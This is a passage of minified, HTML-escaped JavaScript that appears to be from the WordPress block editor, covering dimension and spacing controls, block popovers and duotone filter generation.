wm=[&quot;horizontal&quot;,&quot;vertical&quot;];function Cm(e){const t=Bm(e),n=Im(e),o=jm(e),r=Em(e),i=Tm(e),s=Mm(e),l=Pm(e),a=Rm(e);return&quot;web&quot;===h.Platform.OS&amp;&amp;(t||n||o||r||i||s||l||a)}function Bm(e){return e?.layout?.contentSize}function Im(e){return e?.layout?.wideSize}function jm(e){return e?.spacing?.padding}function Em(e){return e?.spacing?.margin}function Tm(e){return e?.spacing?.blockGap}function Mm(e){return e?.dimensions?.minHeight}function Pm(e){return e?.dimensions?.aspectRatio}function Rm(e){const{type:t=&quot;default&quot;,default:{type:n=&quot;default&quot;}={},allowSizingOnChildren:o=!1}=e?.parentLayout??{},r=(&quot;flex&quot;===n||&quot;flex&quot;===t||&quot;grid&quot;===n||&quot;grid&quot;===t)&amp;&amp;o;return!!e?.layout&amp;&amp;r}function Am(e,t){if(!t||!e)return e;const n={};return t.forEach((t=&gt;{&quot;vertical&quot;===t&amp;&amp;(n.top=e.top,n.bottom=e.bottom),&quot;horizontal&quot;===t&amp;&amp;(n.left=e.left,n.right=e.right),n[t]=e?.[t]})),n}function Nm(e){return e&amp;&amp;&quot;string&quot;==typeof e?{top:e,right:e,bottom:e,left:e}:e}function Lm({resetAllFilter:e,onChange:t,value:n,panelId:o,children:r}){const i=Qi();return(0,d.jsx)(Ss.__experimentalToolsPanel,{label:(0,T.__)(&quot;Dimensions&quot;),resetAll:()=&gt;{const o=e(n);t(o)},panelId:o,dropdownMenuProps:i,children:r})}const Dm={contentSize:!0,wideSize:!0,padding:!0,margin:!0,blockGap:!0,minHeight:!0,aspectRatio:!0,childLayout:!0};function Om({as:e=Lm,value:t,onChange:n,inheritedValue:o=t,settings:r,panelId:i,defaultControls:s=Dm,onVisualize:l=()=&gt;{},includeLayoutControls:a=!1}){const{dimensions:c,spacing:u}=r,p=e=&gt;e&amp;&amp;&quot;object&quot;==typeof e?Object.keys(e).reduce(((t,n)=&gt;(t[n]=es({settings:{dimensions:c,spacing:u}},&quot;&quot;,e[n]),t)),{}):es({settings:{dimensions:c,spacing:u}},&quot;&quot;,e),g=function(e){const{defaultSpacingSizes:t,spacingSizes:n}=e?.spacing||{};return!1!==t&amp;&amp;n?.default?.length&gt;0||n?.theme?.length&gt;0||n?.custom?.length&gt;0}(r),m=(0,Ss.__experimentalUseCustomUnits)({availableUnits:r?.spacing?.units||[&quot;%&quot;,&quot;px&quot;,&quot;em&quot;,&quot;rem&quot;,&quot;vw&quot;]}),f=-1/0,[b,k]=(0,h.useState)(f),v=Bm(r)&amp;&amp;a,_=p(o?.layout?.contentSize),y=e=&gt;{n(ge(t,[&quot;layout&quot;,&quot;contentSize&quot;],e||void 0))},x=Im(r)&amp;&amp;a,S=p(o?.layout?.wideSize),w=e=&gt;{n(ge(t,[&quot;layout&quot;,&quot;wideSize&quot;],e||void 0))},C=jm(r),B=Nm(p(o?.spacing?.padding)),I=Array.isArray(r?.spacing?.padding)?r?.spacing?.padding:r?.spacing?.padding?.sides,j=I&amp;&amp;I.some((e=&gt;wm.includes(e))),E=e=&gt;{const o=Am(e,I);n(ge(t,[&quot;spacing&quot;,&quot;padding&quot;],o))},M=()=&gt;l(&quot;padding&quot;),P=Em(r),R=Nm(p(o?.spacing?.margin)),A=Array.isArray(r?.spacing?.margin)?r?.spacing?.margin:r?.spacing?.margin?.sides,N=A&amp;&amp;A.some((e=&gt;wm.includes(e))),L=e=&gt;{const o=Am(e,A);n(ge(t,[&quot;spacing&quot;,&quot;margin&quot;],o))},D=()=&gt;l(&quot;margin&quot;),O=Tm(r),z=Array.isArray(r?.spacing?.blockGap)?r?.spacing?.blockGap:r?.spacing?.blockGap?.sides,V=z&amp;&amp;z.some((e=&gt;wm.includes(e))),F=p(o?.spacing?.blockGap),H=function(e,t){return e?&quot;string&quot;==typeof e?t?{top:e,right:e,bottom:e,left:e}:{top:e}:{...e,right:e?.left,bottom:e?.top}:e}(F,V),U=e=&gt;{n(ge(t,[&quot;spacing&quot;,&quot;blockGap&quot;],e))},G=e=&gt;{e||U(null),!V&amp;&amp;e?.hasOwnProperty(&quot;top&quot;)?U(e.top):U({top:e?.top,left:e?.left})},$=Mm(r),W=p(o?.dimensions?.minHeight),K=e=&gt;{const o=ge(t,[&quot;dimensions&quot;,&quot;minHeight&quot;],e);n(ge(o,[&quot;dimensions&quot;,&quot;aspectRatio&quot;],void 0))},Z=Pm(r),q=p(o?.dimensions?.aspectRatio),Y=Rm(r),X=o?.layout,Q=(0,h.useCallback)((e=&gt;({...e,layout:ms({...e?.layout,contentSize:void 0,wideSize:void 0,selfStretch:void 0,flexSize:void 0,columnStart:void 0,rowStart:void 0,columnSpan:void 0,rowSpan:void 0}),spacing:{...e?.spacing,padding:void 0,margin:void 0,blockGap:void 0},dimensions:{...e?.dimensions,minHeight:void 0,aspectRatio:void 0}})),[]),J=()=&gt;l(!1);return(0,d.jsxs)(e,{resetAllFilter:Q,value:t,onChange:n,panelId:i,children:[(v||x)&amp;&amp;(0,d.jsx)(&quot;span&quot;,{className:&quot;span-columns&quot;,children:(0,T.__)(&quot;Set the width of the main content area.&quot;)}),v&amp;&amp;(0,d.jsx)(Ss.__experimentalToolsPanelItem,{label:(0,T.__)(&quot;Content width&quot;),hasValue:()=&gt;!!t?.layout?.contentSize,onDeselect:()=&gt;y(void 0),isShownByDefault:s.contentSize??Dm.contentSize,panelId:i,children:(0,d.jsx)(Ss.__experimentalUnitControl,{__next40pxDefaultSize:!0,label:(0,T.__)(&quot;Content width&quot;),labelPosition:&quot;top&quot;,value:_||&quot;&quot;,onChange:e=&gt;{y(e)},units:m,prefix:(0,d.jsx)(Ss.__experimentalInputControlPrefixWrapper,{variant:&quot;icon&quot;,children:(0,d.jsx)(Dl,{icon:Ol})})})}),x&amp;&amp;(0,d.jsx)(Ss.__experimentalToolsPanelItem,{label:(0,T.__)(&quot;Wide width&quot;),hasValue:()=&gt;!!t?.layout?.wideSize,onDeselect:()=&gt;w(void 0),isShownByDefault:s.wideSize??Dm.wideSize,panelId:i,children:(0,d.jsx)(Ss.__experimentalUnitControl,{__next40pxDefaultSize:!0,label:(0,T.__)(&quot;Wide width&quot;),labelPosition:&quot;top&quot;,value:S||&quot;&quot;,onChange:e=&gt;{w(e)},units:m,prefix:(0,d.jsx)(Ss.__experimentalInputControlPrefixWrapper,{variant:&quot;icon&quot;,children:(0,d.jsx)(Dl,{icon:zl})})})}),C&amp;&amp;(0,d.jsxs)(Ss.__experimentalToolsPanelItem,{hasValue:()=&gt;!!t?.spacing?.padding&amp;&amp;Object.keys(t?.spacing?.padding).length,label:(0,T.__)(&quot;Padding&quot;),onDeselect:()=&gt;E(void 0),isShownByDefault:s.padding??Dm.padding,className:gs({&quot;tools-panel-item-spacing&quot;:g}),panelId:i,children:[!g&amp;&amp;(0,d.jsx)(Ss.BoxControl,{__next40pxDefaultSize:!0,values:B,onChange:E,label:(0,T.__)(&quot;Padding&quot;),sides:I,units:m,allowReset:!1,splitOnAxis:j,inputProps:{onMouseOver:M,onMouseOut:J}}),g&amp;&amp;(0,d.jsx)(gm,{values:B,onChange:E,label:(0,T.__)(&quot;Padding&quot;),sides:I,units:m,allowReset:!1,onMouseOver:M,onMouseOut:J})]}),P&amp;&amp;(0,d.jsxs)(Ss.__experimentalToolsPanelItem,{hasValue:()=&gt;!!t?.spacing?.margin&amp;&amp;Object.keys(t?.spacing?.margin).length,label:(0,T.__)(&quot;Margin&quot;),onDeselect:()=&gt;L(void 0),isShownByDefault:s.margin??Dm.margin,className:gs({&quot;tools-panel-item-spacing&quot;:g}),panelId:i,children:[!g&amp;&amp;(0,d.jsx)(Ss.BoxControl,{__next40pxDefaultSize:!0,values:R,onChange:L,inputProps:{min:b,onDragStart:()=&gt;{k(0)},onDragEnd:()=&gt;{k(f)},onMouseOver:D,onMouseOut:J},label:(0,T.__)(&quot;Margin&quot;),sides:A,units:m,allowReset:!1,splitOnAxis:N}),g&amp;&amp;(0,d.jsx)(gm,{values:R,onChange:L,minimumCustomValue:-1/0,label:(0,T.__)(&quot;Margin&quot;),sides:A,units:m,allowReset:!1,onMouseOver:D,onMouseOut:J})]}),O&amp;&amp;(0,d.jsxs)(Ss.__experimentalToolsPanelItem,{hasValue:()=&gt;!!t?.spacing?.blockGap,label:(0,T.__)(&quot;Block spacing&quot;),onDeselect:()=&gt;U(void 0),isShownByDefault:s.blockGap??Dm.blockGap,className:gs({&quot;tools-panel-item-spacing&quot;:g,&quot;single-column&quot;:!g&amp;&amp;!V}),panelId:i,children:[!g&amp;&amp;(V?(0,d.jsx)(Ss.BoxControl,{__next40pxDefaultSize:!0,label:(0,T.__)(&quot;Block spacing&quot;),min:0,onChange:G,units:m,sides:z,values:H,allowReset:!1,splitOnAxis:V}):(0,d.jsx)(Ss.__experimentalUnitControl,{__next40pxDefaultSize:!0,label:(0,T.__)(&quot;Block spacing&quot;),min:0,onChange:U,units:m,value:F})),g&amp;&amp;(0,d.jsx)(gm,{label:(0,T.__)(&quot;Block spacing&quot;),min:0,onChange:G,showSideInLabel:!1,sides:V?z:[&quot;top&quot;],values:H,allowReset:!1})]}),Y&amp;&amp;(0,d.jsx)(vm,{value:X,onChange:e=&gt;{n({...t,layout:{...e}})},parentLayout:r?.parentLayout,panelId:i,isShownByDefault:s.childLayout??Dm.childLayout}),$&amp;&amp;(0,d.jsx)(Ss.__experimentalToolsPanelItem,{hasValue:()=&gt;!!t?.dimensions?.minHeight,label:(0,T.__)(&quot;Minimum height&quot;),onDeselect:()=&gt;{K(void 0)},isShownByDefault:s.minHeight??Dm.minHeight,panelId:i,children:(0,d.jsx)(fm,{label:(0,T.__)(&quot;Minimum height&quot;),value:W,onChange:K})}),Z&amp;&amp;(0,d.jsx)(Sm,{hasValue:()=&gt;!!t?.dimensions?.aspectRatio,value:q,onChange:e=&gt;{const o=ge(t,[&quot;dimensions&quot;,&quot;aspectRatio&quot;],e);n(ge(o,[&quot;dimensions&quot;,&quot;minHeight&quot;],void 0))},panelId:i,isShownByDefault:s.aspectRatio??Dm.aspectRatio})]})}const zm=new WeakMap;var Vm=function(e){const t=(0,m.useRefEffect)((t=&gt;{function n(n){const{deltaX:o,deltaY:r,target:i}=n,s=e.current;let l=zm.get(s);l||(l=(0,Ua.getScrollContainer)(s),zm.set(s,l));const a=(0,Ua.getScrollContainer)(i);t.contains(a)||l.scrollBy(o,r)}const o={passive:!0};return t.addEventListener(&quot;wheel&quot;,n,o),()=&gt;{t.removeEventListener(&quot;wheel&quot;,n,o)}}),[e]);return e?t:null};const Fm=&quot;.block-editor-block-list__block&quot;,Hm=&quot;.block-list-appender&quot;,Um=&quot;.block-editor-button-block-appender&quot;;function Gm(e,t){return e.closest(Fm)===t.closest(Fm)}function $m(e,t){return t.closest([Fm,Hm,Um].join(&quot;,&quot;))===e}function Wm(e){for(;e&amp;&amp;e.nodeType!==e.ELEMENT_NODE;)e=e.parentNode;if(!e)return;const t=e.closest(Fm);return t?t.id.slice(6):void 0}function Km(e,t){const n=Math.min(e.left,t.left),o=Math.max(e.right,t.right),r=Math.max(e.bottom,t.bottom),i=Math.min(e.top,t.top);return new window.DOMRectReadOnly(n,i,o-n,r-i)}function Zm(e){const t=e.ownerDocument.defaultView;if(!t)return!1;if(e.classList.contains(&quot;components-visually-hidden&quot;))return!1;const n=e.getBoundingClientRect();if(0===n.width||0===n.height)return!1;if(e.checkVisibility)return e.checkVisibility?.({opacityProperty:!0,contentVisibilityAuto:!0,visibilityProperty:!0});const o=t.getComputedStyle(e);return&quot;none&quot;!==o.display&amp;&amp;&quot;hidden&quot;!==o.visibility&amp;&amp;&quot;0&quot;!==o.opacity}function qm(e){const t=window.getComputedStyle(e);return&quot;auto&quot;===t.overflowX||&quot;scroll&quot;===t.overflowX||&quot;auto&quot;===t.overflowY||&quot;scroll&quot;===t.overflowY}const Ym=[&quot;core/navigation&quot;];function Xm(e){const t=e.ownerDocument.defaultView;if(!t)return new window.DOMRectReadOnly;let n=e.getBoundingClientRect();const o=e.getAttribute(&quot;data-type&quot;);if(o&amp;&amp;Ym.includes(o)){const t=[e];let o;for(;o=t.pop();)if(!qm(o))for(const e of o.children)if(Zm(e)){n=Km(n,e.getBoundingClientRect()),t.push(e)}}const r=Math.max(n.left,0),i=Math.min(n.right,t.innerWidth);return n=new window.DOMRectReadOnly(r,n.top,i-r,n.height),n}const Qm=Number.MAX_SAFE_INTEGER;const Jm=(0,h.forwardRef)((function({clientId:e,bottomClientId:t,children:n,__unstablePopoverSlot:o,__unstableContentRef:r,shift:i=!0,...s},l){const a=fh(e),c=fh(t??e),u=(0,m.useMergeRefs)([l,Vm(r)]),[p,g]=(0,h.useReducer)((e=&gt;(e+1)%Qm),0);(0,h.useLayoutEffect)((()=&gt;{if(!a)return;const e=new window.MutationObserver(g);return e.observe(a,{attributes:!0}),()=&gt;{e.disconnect()}}),[a]);const f=(0,h.useMemo)((()=&gt;{if(!(p&lt;0||!a||t&amp;&amp;!c))return{getBoundingClientRect:()=&gt;c?Km(Xm(a),Xm(c)):Xm(a),contextElement:a}}),[p,a,t,c]);return!a||t&amp;&amp;!c?null:(0,d.jsx)(Ss.Popover,{ref:u,animate:!1,focusOnMount:!1,anchor:f,__unstableSlotName:o,inline:!o,placement:&quot;top-start&quot;,resize:!1,flip:!1,shift:i,...s,className:gs(&quot;block-editor-block-popover&quot;,s.className),variant:&quot;unstyled&quot;,children:n})}));var ef=(0,h.forwardRef)((({clientId:e,bottomClientId:t,children:n,...o},r)=&gt;(0,d.jsx)(Jm,{...o,bottomClientId:t,clientId:e,__unstableContentRef:void 0,__unstablePopoverSlot:void 0,ref:r,children:n})));function tf({selectedElement:e,additionalStyles:t={},children:n}){const[o,r]=(0,h.useState)(e.offsetWidth),[i,s]=(0,h.useState)(e.offsetHeight);(0,h.useEffect)((()=&gt;{const t=new window.ResizeObserver((()=&gt;{r(e.offsetWidth),s(e.offsetHeight)}));return t.observe(e,{box:&quot;border-box&quot;}),()=&gt;t.disconnect()}),[e]);const l=(0,h.useMemo)((()=&gt;({position:&quot;absolute&quot;,width:o,height:i,...t})),[o,i,t]);return(0,d.jsx)(&quot;div&quot;,{style:l,children:n})}var nf=(0,h.forwardRef)((function({clientId:e,bottomClientId:t,children:n,shift:o=!1,additionalStyles:r,...i},s){t??=e;const l=fh(e);return(0,d.jsx)(Jm,{ref:s,clientId:e,bottomClientId:t,shift:o,...i,children:l&amp;&amp;e===t?(0,d.jsx)(tf,{selectedElement:l,additionalStyles:r,children:n}):n})}));function of({clientId:e,value:t,computeStyle:n,forceShow:o}){const r=fh(e),[i,s]=(0,h.useReducer)((()=&gt;n(r)));(0,h.useEffect)((()=&gt;{if(!r)return;const e=new window.MutationObserver(s);return e.observe(r,{attributes:!0,attributeFilter:[&quot;style&quot;,&quot;class&quot;]}),()=&gt;{e.disconnect()}}),[r]);const l=(0,h.useRef)(t),[a,c]=(0,h.useState)(!1);return(0,h.useEffect)((()=&gt;{if(Qa()(t,l.current)||o)return;c(!0),l.current=t;const e=setTimeout((()=&gt;{c(!1)}),400);return()=&gt;{c(!1),clearTimeout(e)}}),[t,o]),a||o?(0,d.jsx)(nf,{clientId:e,__unstablePopoverSlot:&quot;block-toolbar&quot;,children:(0,d.jsx)(&quot;div&quot;,{className:&quot;block-editor__spacing-visualizer&quot;,style:i})}):null}function rf(e,t){return e.ownerDocument.defaultView.getComputedStyle(e).getPropertyValue(t)}function sf({clientId:e,value:t,forceShow:n}){return(0,d.jsx)(of,{clientId:e,value:t?.spacing?.margin,computeStyle:e=&gt;{const t=rf(e,&quot;margin-top&quot;),n=rf(e,&quot;margin-right&quot;),o=rf(e,&quot;margin-bottom&quot;),r=rf(e,&quot;margin-left&quot;);return{borderTopWidth:t,borderRightWidth:n,borderBottomWidth:o,borderLeftWidth:r,top:t?`-${t}`:0,right:n?`-${n}`:0,bottom:o?`-${o}`:0,left:r?`-${r}`:0}},forceShow:n})}function lf({clientId:e,value:t,forceShow:n}){return(0,d.jsx)(of,{clientId:e,value:t?.spacing?.padding,computeStyle:e=&gt;({borderTopWidth:rf(e,&quot;padding-top&quot;),borderRightWidth:rf(e,&quot;padding-right&quot;),borderBottomWidth:rf(e,&quot;padding-bottom&quot;),borderLeftWidth:rf(e,&quot;padding-left&quot;)}),forceShow:n})}const af=&quot;dimensions&quot;,cf=&quot;spacing&quot;;function uf({children:e,resetAllFilter:t}){const n=(0,h.useCallback)((e=&gt;{const n=e.style,o=t(n);return{...e,style:o}}),[t]);return(0,d.jsx)(Va,{group:&quot;dimensions&quot;,resetAllFilter:n,children:e})}function df({clientId:e,name:t,setAttributes:n,settings:o}){const r=Cm(o),i=(0,g.useSelect)((t=&gt;t(Ii).getBlockAttributes(e)?.style),[e]),[s,l]=function(){const[e,t]=(0,h.useState)(!1),{hideBlockInterface:n,showBlockInterface:o}=U((0,g.useDispatch)(Ii));return(0,h.useEffect)((()=&gt;{e?n():o()}),[e,o,n]),[e,t]}();if(!r)return null;const a={...(0,p.getBlockSupport)(t,[af,&quot;__experimentalDefaultControls&quot;]),...(0,p.getBlockSupport)(t,[cf,&quot;__experimentalDefaultControls&quot;])};return(0,d.jsxs)(d.Fragment,{children:[(0,d.jsx)(Om,{as:uf,panelId:e,settings:o,value:i,onChange:e=&gt;{n({style:ms(e)})},defaultControls:a,onVisualize:l}),!!o?.spacing?.padding&amp;&amp;(0,d.jsx)(lf,{forceShow:&quot;padding&quot;===s,clientId:e,value:i}),!!o?.spacing?.margin&amp;&amp;(0,d.jsx)(sf,{forceShow:&quot;margin&quot;===s,clientId:e,value:i})]})}function pf(e,t=&quot;any&quot;){if(&quot;web&quot;!==h.Platform.OS)return!1;const n=(0,p.getBlockSupport)(e,af);return!0===n||(&quot;any&quot;===t?!(!n?.aspectRatio&amp;&amp;!n?.minHeight):!!n?.[t])}var hf={useBlockProps:function({name:e,minHeight:t,style:n}){if(!pf(e,&quot;aspectRatio&quot;)||bs(e,af,&quot;aspectRatio&quot;))return{};const o=gs({&quot;has-aspect-ratio&quot;:!!n?.dimensions?.aspectRatio}),r={};n?.dimensions?.aspectRatio?r.minHeight=&quot;unset&quot;:(t||n?.dimensions?.minHeight)&amp;&amp;(r.aspectRatio=&quot;unset&quot;);return{className:o,style:r}},attributeKeys:[&quot;minHeight&quot;,&quot;style&quot;],hasSupport:e=&gt;pf(e,&quot;aspectRatio&quot;)};function gf(){I()(&quot;wp.blockEditor.__experimentalUseCustomSides&quot;,{since:&quot;6.3&quot;,version:&quot;6.4&quot;})}const mf=[...Jg,Sp,_h,af,Tu,cf,wp],ff=e=&gt;mf.some((t=&gt;(0,p.hasBlockSupport)(e,t)));function bf(e={}){const t={};return(0,Mi.getCSSRules)(e).forEach((e=&gt;{t[e.key]=e.value})),t}const kf={[`${Sp}.__experimentalSkipSerialization`]:[&quot;border&quot;],[`${_h}.__experimentalSkipSerialization`]:[_h],[`${Qg}.__experimentalSkipSerialization`]:[Qg],[`${af}.__experimentalSkipSerialization`]:[af],[`${cf}.__experimentalSkipSerialization`]:[cf],[`${wp}.__experimentalSkipSerialization`]:[wp]},vf={...kf,[`${af}.aspectRatio`]:[`${af}.aspectRatio`],[`${Tu}`]:[Tu]},_f={[`${af}.aspectRatio`]:!0,[`${Tu}`]:!0},yf={gradients:&quot;gradient&quot;};function xf(e,t,n=!1){if(!e)return e;let o=e;return n||(o=JSON.parse(JSON.stringify(e))),Array.isArray(t)||(t=[t]),t.forEach((e=&gt;{if(Array.isArray(e)||(e=e.split(&quot;.&quot;)),e.length&gt;1){const[t,...n]=e;xf(o[t],[n],!0)}else 1===e.length&amp;&amp;delete o[e[0]]})),o}function Sf(e,t,n,o=vf){if(!ff(t))return e;let{style:r}=n;return Object.entries(o).forEach((([e,n])=&gt;{const o=_f[e]||(0,p.getBlockSupport)(t,e);!0===o&amp;&amp;(r=xf(r,n)),Array.isArray(o)&amp;&amp;o.forEach((e=&gt;{const t=yf[e]||e;r=xf(r,[[...n,t]])}))})),e.style={...bf(r),...e.style},e}var wf={edit:function({clientId:e,name:t,setAttributes:n,__unstableParentLayout:o}){const r=ys(t,o),i=ha(),s={clientId:e,name:t,setAttributes:n,settings:{...r,typography:{...r.typography,textAlign:!1}}};return&quot;default&quot;!==i?null:(0,d.jsxs)(d.Fragment,{children:[(0,d.jsx)(Th,{...s}),(0,d.jsx)(Lu,{...s}),(0,d.jsx)(om,{...s}),(0,d.jsx)(Mp,{...s}),(0,d.jsx)(df,{...s})]})},hasSupport:ff,addSaveProps:Sf,attributeKeys:[&quot;style&quot;],useBlockProps:function({name:e,style:t}){const n=(0,m.useInstanceId)(Bf,&quot;wp-elements&quot;),o=`.${n}`,r=t?.elements,i=(0,h.useMemo)((()=&gt;{if(!r)return;const t=[];return Cf.forEach((({elementType:n,pseudo:i,elements:s})=&gt;{if(bs(e,_h,n))return;const l=r?.[n];if(l){const e=ts(o,p.__EXPERIMENTAL_ELEMENTS[n]);t.push((0,Mi.compileCSS)(l,{selector:e})),i&amp;&amp;i.forEach((e=&gt;{l[e]&amp;&amp;t.push((0,Mi.compileCSS)(l[e],{selector:ts(o,`${p.__EXPERIMENTAL_ELEMENTS[n]}${e}`)}))}))}s&amp;&amp;s.forEach((e=&gt;{r[e]&amp;&amp;t.push((0,Mi.compileCSS)(r[e],{selector:ts(o,p.__EXPERIMENTAL_ELEMENTS[e])}))}))})),t.length&gt;0?t.join(&quot;&quot;):void 0}),[o,r,e]);return vs({css:i}),Sf({className:n},e,{style:t},kf)}};const Cf=[{elementType:&quot;button&quot;},{elementType:&quot;link&quot;,pseudo:[&quot;:hover&quot;]},{elementType:&quot;heading&quot;,elements:[&quot;h1&quot;,&quot;h2&quot;,&quot;h3&quot;,&quot;h4&quot;,&quot;h5&quot;,&quot;h6&quot;]}],Bf={};(0,f.addFilter)(&quot;blocks.registerBlockType&quot;,&quot;core/style/addAttribute&quot;,(function(e){return ff(e)?(e.attributes.style||Object.assign(e.attributes,{style:{type:&quot;object&quot;}}),e):e}));(0,f.addFilter)(&quot;blocks.registerBlockType&quot;,&quot;core/settings/addAttribute&quot;,(function(e){return t=e,(0,p.hasBlockSupport)(t,&quot;__experimentalSettings&quot;,!1)?(e?.attributes?.settings||(e.attributes={...e.attributes,settings:{type:&quot;object&quot;}}),e):e;var t}));var If=(0,d.jsx)(ce.SVG,{xmlns:&quot;http://www.w3.org/2000/svg&quot;,viewBox:&quot;0 0 24 24&quot;,children:(0,d.jsx)(ce.Path,{d:&quot;M12 4 4 19h16L12 4zm0 3.2 5.5 10.3H12V7.2z&quot;})});var jf=function e({id:t,colorPalette:n,duotonePalette:o,disableCustomColors:r,disableCustomDuotone:i,value:s,onChange:l}){let a;a=&quot;unset&quot;===s?(0,d.jsx)(Ss.ColorIndicator,{className:&quot;block-editor-duotone-control__unset-indicator&quot;}):s?(0,d.jsx)(Ss.DuotoneSwatch,{values:s}):(0,d.jsx)(Dl,{icon:If});const c=(0,T.__)(&quot;Apply duotone filter&quot;),u=`${(0,m.useInstanceId)(e,&quot;duotone-control&quot;,t)}__description`;return(0,d.jsx)(Ss.Dropdown,{popoverProps:{className:&quot;block-editor-duotone-control__popover&quot;,headerTitle:(0,T.__)(&quot;Duotone&quot;)},renderToggle:({isOpen:e,onToggle:t})=&gt;(0,d.jsx)(Ss.ToolbarButton,{showTooltip:!0,onClick:t,&quot;aria-haspopup&quot;:&quot;true&quot;,&quot;aria-expanded&quot;:e,onKeyDown:n=&gt;{e||n.keyCode!==$a.DOWN||(n.preventDefault(),t())},label:c,icon:a}),renderContent:()=&gt;(0,d.jsxs)(Ss.MenuGroup,{label:(0,T.__)(&quot;Duotone&quot;),children:[(0,d.jsx)(&quot;p&quot;,{children:(0,T.__)(&quot;Create a two-tone color effect without losing your original image.&quot;)}),(0,d.jsx)(Ss.DuotonePicker,{&quot;aria-label&quot;:c,&quot;aria-describedby&quot;:u,colorPalette:n,duotonePalette:o,disableCustomColors:r,disableCustomDuotone:i,value:s,onChange:l})]})})};function Ef(e){return`${e}{filter:none}`}function Tf(e,t){return`${e}{filter:url(#${t})}`}function Mf(e,t){const n=function(e=[]){const t={r:[],g:[],b:[],a:[]};return e.forEach((e=&gt;{const n=Sd(e).toRgb();t.r.push(n.r/255),t.g.push(n.g/255),t.b.push(n.b/255),t.a.push(n.a)})),t}(t);return`\n&lt;svg\n\txmlns:xlink=&quot;http://www.w3.org/1999/xlink&quot;\n\tviewBox=&quot;0 0 0 0&quot;\n\twidth=&quot;0&quot;\n\theight=&quot;0&quot;\n\tfocusable=&quot;false&quot;\n\trole=&quot;none&quot;\n\taria-hidden=&quot;true&quot;\n\tstyle=&quot;visibility: hidden; position: absolute; left: -9999px; overflow: hidden;&quot;\n&gt;\n\t&lt;defs&gt;\n\t\t&lt;filter id=&quot;${e}&quot;&gt;\n\t\t\t\x3c!--\n\t\t\t\tUse sRGB instead of linearRGB so transparency looks correct.\n\t\t\t\tUse perceptual brightness to convert to grayscale.\n\t\t\t--\x3e\n\t\t\t&lt;feColorMatrix color-interpolation-filters=&quot;sRGB&quot; type=&quot;matrix&quot; values=&quot; .299 .587 .114 0 0 .299 .587 .114 0 0 .299 .587 .114 0 0 .299 .587 .114 0 0 &quot;&gt;&lt;/feColorMatrix&gt;\n\t\t\t\x3c!-- Use sRGB instead of linearRGB to be consistent with how CSS gradients work. --\x3e\n\t\t\t&lt;feComponentTransfer color-interpolation-filters=&quot;sRGB&quot;&gt;\n\t\t\t\t&lt;feFuncR type=&quot;table&quot; tableValues=&quot;${n.r.join(&quot; &quot;)}&quot;&gt;&lt;/feFuncR&gt;\n\t\t\t\t&lt;feFuncG type=&quot;table&quot; tableValues=&quot;${n.g.join(&quot; &quot;)}&quot;&gt;&lt;/feFuncG&gt;\n\t\t\t\t&lt;feFuncB type=&quot;table&quot; tableValues=&quot;${n.b.join(&quot; &quot;)}&quot;&gt;&lt;/feFuncB&gt;\n\t\t\t\t&lt;feFuncA type=&quot;table&quot; tableValues=&quot;${n.a.join(&quot; &quot;)}&quot;&gt;&lt;/feFuncA&gt;\n\t\t\t&lt;/feComponentTransfer&gt;\n\t\t\t\x3c!-- Re-mask the image with the original transparency since the feColorMatrix above loses that information. --\x3e\n\t\t\t&lt;feComposite in2=&quot;SourceGraphic&quot; operator=&quot;in&quot;&gt;&lt;/feComposite&gt;\n\t\t&lt;/filter&gt;\n\t&lt;/defs&gt;\n&lt;/svg&gt;`}function Pf(e,t=&quot;root&quot;,n={}){if(!t)return null;const{fallback:o=!1}=n,{name:r,selectors:i,supports:s}=e,l=i&amp;&amp;Object.keys(i).length&gt;0,a=Array.isArray(t)?t.join(&quot;.&quot;):t;let c=null;if(c=l&amp;&amp;i.root?i?.root:s?.__experimentalSelector?s.__experimentalSelector:&quot;.wp-block-&quot;+r.replace(&quot;core/&quot;,&quot;&quot;).replace(&quot;/&quot;,&quot;-&quot;),&quot;root&quot;===a)return c;const u=Array.isArray(t)?t:t.split(&quot;.&quot;);if(1===u.length){const e=o?c:null;if(l){return me(i,`${a}.root`,null)||me(i,a,null)||e}const t=me(s,`${a}.__experimentalSelector`,null);return t?ts(c,t):e}let d;return l&amp;&amp;(d=me(i,a,null)),d||(o?Pf(e,u[0],n):null)}const Rf=[];function Af(e,{presetSetting:t,defaultSetting:n}){const o=!e?.color?.[n],r=e?.color?.[t]?.custom||Rf,i=e?.color?.[t]?.theme||Rf,s=e?.color?.[t]?.default||Rf;return(0,h.useMemo)((()=&gt;[...r,...i,...o?Rf:s]),[o,r,i,s])}function Nf(e){return Lf(e)}function Lf(e){return e.color.customDuotone||e.color.defaultDuotone||e.color.duotone.length&gt;0}function Df({resetAllFilter:e,onChange:t,value:n,panelId:o,children:r}){const i=Qi();return(0,d.jsx)(Ss.__experimentalToolsPanel,{label:(0,T._x)(&quot;Filters&quot;,&quot;Name for applying graphical effects&quot;),resetAll:()=&gt;{const o=e(n);t(o)},panelId:o,dropdownMenuProps:i,children:r})}const Of={duotone:!0},zf={placement:&quot;left-start&quot;,offset:36,shift:!0,className:&quot;block-editor-duotone-control__popover&quot;,headerTitle:(0,T.__)(&quot;Duotone&quot;)},Vf=({indicator:e,label:t})=&gt;(0,d.jsxs)(Ss.__experimentalHStack,{justify:&quot;flex-start&quot;,children:[(0,d.jsx)(Ss.__experimentalZStack,{isLayered:!1,offset:-8,children:(0,d.jsx)(Ss.Flex,{expanded:!1,children:&quot;unset&quot;!==e&amp;&amp;e?(0,d.jsx)(Ss.DuotoneSwatch,{values:e}):(0,d.jsx)(Ss.ColorIndicator,{className:&quot;block-editor-duotone-control__unset-indicator&quot;})})}),(0,d.jsx)(Ss.FlexItem,{title:t,children:t})]}),Ff=(e,t)=&gt;({onToggle:n,isOpen:o})=&gt;{const r=(0,h.useRef)(void 0),i={onClick:n,className:gs(&quot;block-editor-global-styles-filters-panel__dropdown-toggle&quot;,{&quot;is-open&quot;:o}),&quot;aria-expanded&quot;:o,ref:r},s={onClick:()=&gt;{o&amp;&amp;n(),t(),r.current?.focus()},className:&quot;block-editor-panel-duotone-settings__reset&quot;,label:(0,T.__)(&quot;Reset&quot;)};return(0,d.jsxs)(d.Fragment,{children:[(0,d.jsx)(Ss.Button,{__next40pxDefaultSize:!0,...i,children:(0,d.jsx)(Vf,{indicator:e,label:(0,T.__)(&quot;Duotone&quot;)})}),e&amp;&amp;(0,d.jsx)(Ss.Button,{size:&quot;small&quot;,icon:Fa,...s})]})};function Hf({as:e=Df,value:t,onChange:n,inheritedValue:o=t,settings:r,panelId:i,defaultControls:s=Of}){const 